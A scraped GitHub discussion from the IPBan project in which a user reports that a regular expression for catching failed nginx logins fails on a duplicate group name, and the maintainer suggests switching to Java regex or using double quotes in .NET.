^(?<timestamp>[^\[]+)\[.*\s(?:(?<log>system\scannot\sfind).*|user\s"(?<username>[^"]+)"\swas\s(?<log>not\sfound).*)\sclient:\s(?<ipaddress>[^\s,]+)[^\n]*$

(?<log> A subpattern name must be unique) A subpattern name must be unique

0 replies

jjxtra · 2024-10-10T13:59:22Z

jjxtra
Oct 10, 2024
Maintainer

Change to Java regex or if you use .net you are forced to use double quotes.

…

-- Jeff

On Thu, Oct 10, 2024 at 6:46 AM rozhkovets ***@***.***> wrote: Hello, I'm trying to configure ipban for nginx file from recipes for windows. but the suggested regular expression does not pass the test into regex101 (pattern error) ^(?<timestamp>[^\[]+)\[.*\s(?:(?<log>system\scannot\sfind).*|user\s"(?<username>[^"]+)"\swas\s(?<log>not\sfound).*)\sclient:\s(?<ipaddress>[^\s,]+)[^\n]*$ (?<log> A subpattern name must be unique) A subpattern name must be unique — Reply to this email directly, view it on GitHub <#147 (comment)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AAJWQGAW5PIPFOVQ3DFN753Z2ZLG7AVCNFSM6AAAAABPWPR2TKVHI2DSMVQWIX3LMV43URDJONRXK43TNFXW4Q3PNVWWK3TUHMYTAOJQGI4DEMA> . You are receiving this because you are subscribed to this thread.Message ID: ***@***.***>

0 replies

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

Uh oh!

Add Nginx Log to IPBan #147

Uh oh!

{{title}}

Uh oh!

Replies: 3 comments

Uh oh!

{{title}}

Uh oh!

Uh oh!

{{title}}

Uh oh!

Uh oh!

{{title}}

Uh oh!

Select a reply

Uh oh!

Uh oh!

Uh oh!

Add Nginx Log to IPBan #147

Uh oh!

fahmiegerton Apr 30, 2021

Replies: 3 comments

Uh oh!

fahmiegerton Apr 30, 2021 Author

Uh oh!

rozhkovets Oct 10, 2024

Uh oh!

jjxtra Oct 10, 2024 Maintainer

fahmiegerton
Apr 30, 2021

fahmiegerton
Apr 30, 2021
Author

rozhkovets
Oct 10, 2024

jjxtra
Oct 10, 2024
Maintainer